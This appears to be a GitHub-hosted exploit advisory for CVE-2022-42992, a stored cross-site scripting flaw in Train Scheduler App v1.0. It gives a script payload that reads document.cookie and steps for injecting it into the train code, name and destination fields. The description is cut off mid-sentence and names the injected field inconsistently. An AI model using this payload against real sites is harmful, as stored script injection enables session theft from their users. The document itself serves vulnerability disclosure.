draco1725 Update XSS History

1 contributor

30 lines (22 sloc) | 1017 Bytes

```
# Exploit Title: Train Scheduler App - Stored XSS
# Exploit Author: Pratik Shetty
# Vendor Name: oretnom23
# Vendor Homepage: https://www.sourcecodester.com/php/15720/train-scheduler-app-using-php-oop-and-
# Software Link: https://www.sourcecodester.com/php/15720/train-scheduler-app-using-php-oop-and-my
# Version: v1.0
# Tested on: Windows 10, Apache
# CVE: CVE-2022-42992


Description:-
A Stored XSS issue in Train Scheduler App v.1.0 allows to inject Arbitrary JavaScript in Edit in "


`
Payload used:-
<script>confirm (document.cookie)</script>

`
Parameter":-
Full Name: <script>confirm (document.cookie)</script>


`
Steps to reproduce:-

1. Here we go to : http://localhost/train_scheduler_app/train_scheduler_app/
2. Now in those Parameters "Train Code", "Train Name" and "Destination" put your payload
3. Fill the other details and save the file
```

```
30  4. As we can see our xss has been triggered.
```